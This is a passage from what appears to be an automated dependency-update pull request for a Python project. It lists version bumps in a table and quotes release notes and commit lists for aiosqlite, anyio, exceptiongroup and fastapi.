[cfgv](https://github.com/asottile/cfgv) | `3.4.0` | `3.5.0` |\n| [coverage[toml]](https://github.com/coveragepy/coveragepy) | `7.12.0` | `7.13.0` |\n| [marshmallow](https://github.com/marshmallow-code/marshmallow) | `4.1.0` | `4.1.1` |\n| [mypy](https://github.com/python/mypy) | `1.18.2` | `1.19.0` |\n| [packageurl-python](https://github.com/package-url/packageurl-python) | `0.17.5` | `0.17.6` |\n| [pip-audit](https://github.com/pypa/pip-audit) | `2.9.0` | `2.10.0` |\n| [platformdirs](https://github.com/tox-dev/platformdirs) | `4.5.0` | `4.5.1` |\n| [pylint](https://github.com/pylint-dev/pylint) | `4.0.3` | `4.0.4` |\n| [pymdown-extensions](https://github.com/facelessuser/pymdown-extensions) | `10.17.1` | `10.19` |\n| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | `0.24.0` | `0.26.0` |\n| [safety-schemas](https://github.com/pyupio/safety_schemas) | `0.0.16` | `0.0.17` |\n| [stevedore](https://docs.openstack.org/stevedore) | `5.5.0` | `5.6.0` |\n\n\nUpdates `aiosqlite` from 0.20.0 to 0.21.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/omnilib/aiosqlite/blob/main/CHANGELOG.md\"\u003eaiosqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.21.0\u003c/h2\u003e\n\u003cp\u003eMaintenance release\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix: close connection correctly when BaseException raised in connection (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMetadata improvements\u003c/li\u003e\n\u003cli\u003eTested and supported on Python 3.13\u003c/li\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003cli\u003eDrop testing on PyPy\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"text\"\u003e\u003ccode\u003e$ git shortlog -s v0.20.0...v0.21.0\n     6\tAmethyst Reese\n     1\tGabriel\n     1\tStanley Kudrow\n    11\tdependabot[bot]\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/82eb2d2b05c257e247acba561b2548cca7fa365a\"\u003e\u003ccode\u003e82eb2d2\u003c/code\u003e\u003c/a\u003e Version bump v0.21.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/3a6bd1f71fb238790f3bdd4637700cce14c4390a\"\u003e\u003ccode\u003e3a6bd1f\u003c/code\u003e\u003c/a\u003e Update copyright headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/ca481c66044e4229250b609874e0fbed805232b1\"\u003e\u003ccode\u003eca481c6\u003c/code\u003e\u003c/a\u003e Drop Python 3.8, set Python3.9 as the minimum version. (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/313\"\u003e#313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/883695fc6d59c5fbdfd8f97a329f98356c39a2cd\"\u003e\u003ccode\u003e883695f\u003c/code\u003e\u003c/a\u003e fix: close connection thread properly if BaseException raised in connect step...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/5391d28ac99cf7bde07ebd923f747d2142726206\"\u003e\u003ccode\u003e5391d28\u003c/code\u003e\u003c/a\u003e Bump mypy from 1.9.0 to 1.14.1 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/323\"\u003e#323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c8194e89b45ef5b1b4c9a29d8bc1bccc19d4e149\"\u003e\u003ccode\u003ec8194e8\u003c/code\u003e\u003c/a\u003e Drop testing compat with pypy (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/326\"\u003e#326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c34bcdaf674eaa137339dbb38a3a476ad2a101d5\"\u003e\u003ccode\u003ec34bcda\u003c/code\u003e\u003c/a\u003e Bump sphinx from 7.2.6 to 8.1.3 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/324\"\u003e#324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/a8a7084d2130063f459ffc622a6f3e7b3deb62ea\"\u003e\u003ccode\u003ea8a7084\u003c/code\u003e\u003c/a\u003e Bump flake8-bugbear from 24.2.6 to 24.12.12 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/321\"\u003e#321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/8a95cd3843f8ccd40d2018cd88a7454fb94f8a57\"\u003e\u003ccode\u003e8a95cd3\u003c/code\u003e\u003c/a\u003e Testing improvements (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/320\"\u003e#320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/b5ddd856b7db08a4296088626350a493bbdd0b60\"\u003e\u003ccode\u003eb5ddd85\u003c/code\u003e\u003c/a\u003e Bump coverage[toml] from 7.4.4 to 7.6.10 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/325\"\u003e#325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/omnilib/aiosqlite/compare/v0.20.0...v0.21.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `anyio` from 4.11.0 to 4.12.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/anyio/releases\"\u003eanyio's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.12.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for asyncio's \u003ca href=\"https://docs.python.org/3/library/asyncio-graph.html\"\u003etask call graphs\u003c/a\u003e on Python 3.14 and later when using AnyIO's task groups (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1025\"\u003e#1025\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded an asynchronous implementation of the \u003ccode\u003efunctools\u003c/code\u003e module (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1001\"\u003e#1001\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded support for \u003ccode\u003euvloop=True\u003c/code\u003e on Windows via the \u003ca href=\"https://github.com/Vizonex/Winloop\"\u003ewinloop\u003c/a\u003e implementation (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/960\"\u003e#960\u003c/a\u003e; PR by \u003ca href=\"https://github.com/Vizonex\"\u003e\u003ccode\u003e@​Vizonex\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded support for use as a context manager to \u003ccode\u003eanyio.lowlevel.RunVar\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1003\"\u003e#1003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003e__all__\u003c/code\u003e declarations to public submodules (\u003ccode\u003eanyio.lowlevel\u003c/code\u003e etc.) (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1009\"\u003e#1009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded the ability to set the token count of a \u003ccode\u003eCapacityLimiter\u003c/code\u003e to zero (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1019\"\u003e#1019\u003c/a\u003e; requires Python 3.10 or later when using Trio)\u003c/li\u003e\n\u003cli\u003eAdded parameters \u003ccode\u003ecase_sensitive\u003c/code\u003e and \u003ccode\u003erecurse_symlinks\u003c/code\u003e along with support for path-like objects to \u003ccode\u003eanyio.Path.glob()\u003c/code\u003e and \u003ccode\u003eanyio.Path.rglob()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1033\"\u003e#1033\u003c/a\u003e; PR by \u003ca href=\"https://github.com/northisup\"\u003e\u003ccode\u003e@​northisup\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDropped \u003ccode\u003esniffio\u003c/code\u003e as a direct dependency and added the \u003ccode\u003eget_available_backends()\u003c/code\u003e function (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1021\"\u003e#1021\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcess.stdin.send()\u003c/code\u003e not raising \u003ccode\u003eClosedResourceError\u003c/code\u003e and \u003ccode\u003eBrokenResourceError\u003c/code\u003e on asyncio. Previously, a non-AnyIO exception was raised in such cases (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/671\"\u003e#671\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcess.stdin.send()\u003c/code\u003e not checkpointing before writing data on asyncio (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1002\"\u003e#1002\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a race condition where cancelling a \u003ccode\u003eFuture\u003c/code\u003e from \u003ccode\u003eBlockingPortal.start_task_soon()\u003c/code\u003e would sometimes not cancel the async function (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1011\"\u003e#1011\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed the presence of the pytest plugin causing breakage with older versions of pytest (\u0026lt;= 6.1.2) (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1028\"\u003e#1028\u003c/a\u003e; PR by \u003ca href=\"https://github.com/saper\"\u003e\u003ccode\u003e@​saper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a rarely occurring \u003ccode\u003eRuntimeError: Set changed size during iteration\u003c/code\u003e while shutting down the process pool when using the asyncio backend (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/985\"\u003e#985\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/bc021b634291223d6829c0a689152173443a8545\"\u003e\u003ccode\u003ebc021b6\u003c/code\u003e\u003c/a\u003e Fixed the download-artifact settings to retain the expected behavior\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/c6000aa2837f75733f3c09c454f5a31eb9f9f536\"\u003e\u003ccode\u003ec6000aa\u003c/code\u003e\u003c/a\u003e Corrected the format of the version in the changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/9d1bfe0da4261bcef3c10cd31218237805a89937\"\u003e\u003ccode\u003e9d1bfe0\u003c/code\u003e\u003c/a\u003e Bumped up the version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/77f7ce25e12c9becf5081105a47b1914e50a3e0a\"\u003e\u003ccode\u003e77f7ce2\u003c/code\u003e\u003c/a\u003e Fixed RuntimeError while shutting down the asyncio process pool (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1039\"\u003e#1039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/aecc666e6b3b40f977ee715d141bdd89711b45cb\"\u003e\u003ccode\u003eaecc666\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1036\"\u003e#1036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/e5569adf98394dfabebccf215a04d05d7819b506\"\u003e\u003ccode\u003ee5569ad\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 5 to 6 in the github-actions group (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1037\"\u003e#1037\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/dde3ab8583cb194e663f6fb87703a4a79e2701eb\"\u003e\u003ccode\u003edde3ab8\u003c/code\u003e\u003c/a\u003e Moved a changelog entry to its correct position\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/250d4f183245bf7ee5ead0ff39d521cda2b8d617\"\u003e\u003ccode\u003e250d4f1\u003c/code\u003e\u003c/a\u003e Restore compatibility with pytest\u0026lt;=6.1.2 (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1030\"\u003e#1030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/3708e227838e2f51464900cf806b25c30ca458a7\"\u003e\u003ccode\u003e3708e22\u003c/code\u003e\u003c/a\u003e Fixed a typo in the documentation (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1035\"\u003e#1035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/9adbe08c55e725b0388dcc4ab7556875da881a4c\"\u003e\u003ccode\u003e9adbe08\u003c/code\u003e\u003c/a\u003e Add new params to Path.glob \u0026amp; Path.rglob introduced since 3.12 (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1034\"\u003e#1034\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/agronholm/anyio/compare/4.11.0...4.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `exceptiongroup` from 1.3.0 to 1.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/releases\"\u003eexceptiongroup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e when formatting unpickled TBEs from another Python process which did not apply the \u003ccode\u003eexceptiongroup\u003c/code\u003e patches (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/144\"\u003e#144\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/blob/main/CHANGES.rst\"\u003eexceptiongroup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eVersion history\u003c/h1\u003e\n\u003cp\u003eThis library adheres to \u003ccode\u003eSemantic Versioning 2.0 \u0026lt;http://semver.org/\u0026gt;\u003c/code\u003e_.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e\nwhen formatting unpickled TBEs from another Python process which did not apply the\n\u003ccode\u003eexceptiongroup\u003c/code\u003e patches\n(\u003ccode\u003e[#144](https://github.com/agronholm/exceptiongroup/issues/144) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/144\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003e**kwargs\u003c/code\u003e to function and method signatures as appropriate to match the\nsignatures in the standard library\u003c/li\u003e\n\u003cli\u003eIn line with the stdlib typings in typeshed, updated \u003ccode\u003e(Base)ExceptionGroup\u003c/code\u003e generic\ntypes to define defaults for their generic arguments (defaulting to\n\u003ccode\u003eBaseExceptionGroup[BaseException]\u003c/code\u003e and \u003ccode\u003eExceptionGroup[Exception]\u003c/code\u003e)\n(PR by \u003ca href=\"https://github.com/mikenerone\"\u003e\u003ccode\u003e@​mikenerone\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged \u003ccode\u003eBaseExceptionGroup.__init__()\u003c/code\u003e to directly call\n\u003ccode\u003eBaseException.__init__()\u003c/code\u003e instead of the superclass \u003ccode\u003e__init__()\u003c/code\u003e in order to\nemulate the CPython behavior (broken or not) (PR by \u003ca href=\"https://github.com/cfbolz\"\u003e\u003ccode\u003e@​cfbolz\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged the \u003ccode\u003eexceptions\u003c/code\u003e attribute to always return the same tuple of exceptions,\ncreated from the original exceptions sequence passed to \u003ccode\u003eBaseExceptionGroup\u003c/code\u003e to\nmatch CPython behavior\n(\u003ccode\u003e[#143](https://github.com/agronholm/exceptiongroup/issues/143) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/143\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.2\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved an \u003ccode\u003eassert\u003c/code\u003e in \u003ccode\u003eexceptiongroup._formatting\u003c/code\u003e that caused compatibility\nissues with Sentry (\u003ccode\u003e[#123](https://github.com/agronholm/exceptiongroup/issues/123) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/123\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated the copying of \u003ccode\u003e__notes__\u003c/code\u003e to match CPython behavior (PR by CF Bolz-Tereick)\u003c/li\u003e\n\u003cli\u003eCorrected the type annotation of the exception handler callback to accept a\n\u003ccode\u003eBaseExceptionGroup\u003c/code\u003e instead of \u003ccode\u003eBaseException\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFixed type errors on Python \u0026lt; 3.10 and the type annotation of \u003ccode\u003esuppress()\u003c/code\u003e\n(PR by John Litborn)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded special monkeypatching if \u003ccode\u003eApport \u0026lt;https://github.com/canonical/apport\u0026gt;\u003c/code\u003e_ has\noverridden \u003ccode\u003esys.excepthook\u003c/code\u003e so it will format exception groups correctly\n(PR by John Litborn)\u003c/li\u003e\n\u003cli\u003eAdded a backport of \u003ccode\u003econtextlib.suppress()\u003c/code\u003e from Python 3.12.1 which also handles\nsuppressing exceptions inside exception groups\u003c/li\u003e\n\u003cli\u003eFixed bare \u003ccode\u003eraise\u003c/code\u003e in a handler reraising the original naked exception rather than\nan exception group which is what is raised when you do a \u003ccode\u003eraise\u003c/code\u003e in an \u003ccode\u003eexcept*\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ddddb6fdf8582c4ae5187dc1bd258115974229fe\"\u003e\u003ccode\u003eddddb6f\u003c/code\u003e\u003c/a\u003e Added the release version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/49c5e60d9efad1416f4f42455e119375904a1d6d\"\u003e\u003ccode\u003e49c5e60\u003c/code\u003e\u003c/a\u003e Fixed AttributeError when formatting unpickled TBEs from an unpatched process\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/1be517f553249822a8fa12a4d7520d4b3ef15acd\"\u003e\u003ccode\u003e1be517f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/152\"\u003e#152\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/af0ea2fdfe218a4c2a1cb31ebd1a61dba459af6f\"\u003e\u003ccode\u003eaf0ea2f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/149\"\u003e#149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/7c980a88a06a72db3d796d98504b335d24274abb\"\u003e\u003ccode\u003e7c980a8\u003c/code\u003e\u003c/a\u003e Removed pin on pyright version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ef853368c8b94479adbd33cc58f1cac05839e116\"\u003e\u003ccode\u003eef85336\u003c/code\u003e\u003c/a\u003e Fixed typing job not finding Python 3.14\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/080b3f4e925bbdb8cee70cc30c5ef2937eab2bde\"\u003e\u003ccode\u003e080b3f4\u003c/code\u003e\u003c/a\u003e Pinned pyright version to fix typeshed related failure\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ac660908a1987880eddbb249947c1eef6e08513b\"\u003e\u003ccode\u003eac66090\u003c/code\u003e\u003c/a\u003e Added Python 3.14 to the test matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/a0da94dadfb39c0b52c0cd5c87ace166b00f74c1\"\u003e\u003ccode\u003ea0da94d\u003c/code\u003e\u003c/a\u003e Fixed test failures on Python 3.14\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/agronholm/exceptiongroup/compare/1.3.0...1.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastapi` from 0.121.2 to 0.124.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastapi/fastapi/releases\"\u003efastapi's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.124.2\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix support for \u003ccode\u003eif TYPE_CHECKING\u003c/code\u003e,  non-evaluated stringified annotations. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14485\"\u003e#14485\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.124.1\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix handling arbitrary types when using \u003ccode\u003earbitrary_types_allowed=True\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14482\"\u003e#14482\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e📝 Add variants for code examples in \u0026quot;Advanced User Guide\u0026quot;. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14413\"\u003e#14413\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e📝 Update tech stack in project generation docs. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14472\"\u003e#14472\u003c/a\u003e by \u003ca href=\"https://github.com/alejsdev\"\u003e\u003ccode\u003e@​alejsdev\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✅ Add test for Pydantic v2, dataclasses, UUID, and \u003ccode\u003e__annotations__\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14477\"\u003e#14477\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.124.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🚸  Improve tracebacks by adding endpoint metadata. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14306\"\u003e#14306\u003c/a\u003e by \u003ca href=\"https://github.com/savannahostrowski\"\u003e\u003ccode\u003e@​savannahostrowski\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✏️ Fix typo in \u003ccode\u003escripts/mkdocs_hooks.py\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14457\"\u003e#14457\u003c/a\u003e by \u003ca href=\"https://github.com/yujiteshima\"\u003e\u003ccode\u003e@​yujiteshima\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.10\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix using class (not instance) dependency that has \u003ccode\u003e__call__\u003c/code\u003e method. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14458\"\u003e#14458\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🐛 Fix \u003ccode\u003eseparate_input_output_schemas=False\u003c/code\u003e with \u003ccode\u003ecomputed_field\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14453\"\u003e#14453\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.9\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix OAuth2 scopes in OpenAPI in extra corner cases, parent dependency with scopes, sub-dependency security scheme without scopes. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14459\"\u003e#14459\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.8\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix OpenAPI security scheme OAuth2 scopes declaration, deduplicate security schemes with different scopes. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14455\"\u003e#14455\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.7\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix evaluating stringified annotations in Python 3.10. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/11355\"\u003e#11355\u003c/a\u003e by \u003ca 